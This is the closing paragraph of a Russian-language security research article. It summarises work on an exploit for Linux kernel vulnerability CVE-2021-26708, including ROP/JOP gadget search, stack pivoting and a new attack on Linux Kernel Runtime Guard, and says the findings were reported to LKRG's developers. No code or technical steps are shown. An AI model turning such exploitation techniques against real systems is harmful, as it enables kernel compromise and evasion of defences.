В этой статье я описал, как я доработал свой прототип эксплоита для уязвимости CVE-2021-26708 в ядре Linux. Это было интересное исследование с большим количеством практики по возвратно-ориентированному программированию и ассемблеру. Я искал ROP/JOP-гаджеты в памяти работающей системы и смог выполнить переключение ядерного стека (stack pivoting) в ограниченных условиях. Я также провел анализ защиты Linux Kernel Runtime Guard с позиции атакующего, разработал новый способ атаки на LKRG и предоставил результаты своего исследования команде разработчиков этого проекта.
Я уверен, что эта статья будет полезна для сообщества разработчиков Linux, поскольку она отражает многие практические аспекты безопасности ядра. И еще я хочу сказать спасибо компании Positive Technologies за возможность провести это исследование.